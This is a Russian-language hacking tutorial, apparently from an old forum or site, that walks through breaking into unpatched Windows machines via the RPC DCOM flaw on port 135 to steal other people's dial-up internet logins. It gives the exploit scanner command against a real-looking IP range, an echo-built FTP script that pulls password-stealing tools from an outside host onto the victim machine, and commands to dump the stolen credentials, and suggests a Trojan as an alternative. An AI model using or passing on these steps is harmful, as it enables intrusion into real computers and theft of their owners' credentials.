Cейчас мы будем отнимать Интернет у более богатых, но менее умных. Ну что? Ключ на старт =)
Как ты уже догадался 135 порт - это уязвимость в RPC DCOM. Которая гремела раньше на весь мир, но и ...
Как ты уже догадался 135 порт - это уязвимость в RPC DCOM. Которая гремела раньше на весь мир, но и сейчас остались те кто не пропатчил свою тачку. Для атаки нам понадобится:
1 KAHT2.exe // собственно сам Exploit
2 Dialupass.exe // или другая программка для заимствования паролей.
3 Сайт с доступом по FTP // откуды мы и будем заливать Dialupass..
Понеслась !
Самое главное найти не пропатченную тачку, в этом нам поможет KAHT2 к счастью в него встроен сканер.
Запускаем его таким образом:
С:testkaht2.exe 212.91.91.1 212.91.91.255 500
Значение threads, (последняя цифра), можно поставить кому как удобнее, по умолчанию 50.
И если нам везёт, то через некоторое время сканирования, появиться строка типа
C:WindowsSystem32>
Появилась? Если да, то можешь прыгать до потолка, пол дела сделано =). Строка означает мы внутри чужой тачки, а это, могу заметить, просто отлично.
Такс, теперь нам осталось залить со своего сайта Dialupass.exe. Енто можно сделать посредствам стандартной утилиты FTP.exe, сделаем это в 2 этапа:
1. Напишем небольшой сценарий в файл
echo user login password>a //логин и пароль от сайта с которого будем всё сливать
echo type binary>>a
echo get PassView.exe>>a //Сливаем PassView.exe
echo get ext.bat>>a // и батник к нему
echo quit>>a //выходим
как ты уже заметил, всё вышеописанное скидывается в файл с именем "a"
2. Запустим FTP
Запускаем FTP командой
ftp -n -s:a ftp.narod.ru
И по прошествию ~1 минуты снова появляется
C:WindowsSystem32>
А дальше дело за малым:
C:WindowsSystem32>ext.bat
и
C:WindowsSystem32>type 1.txt (если содержание ext.bat “Dialupass.exe /stext 1.txt”) и вот на экране побежали строчки, если там есть логин и пароль (а чаще всего так и бывает) значит, у нас появился халявный Интернет =)


PS:
1 вместо Dialupass, можно использовать PassView.exe v1.5, (а можно вообще Трояна).
2 При желании проги можно заливать со своего компа, а не с сайта.
3 Удобнее (для автоматизации) написать macros.
4 Оригинал статьи находится на www.musthave.ru
5 Все вышеописанное вымысел, все совпадения прошу считать случайными.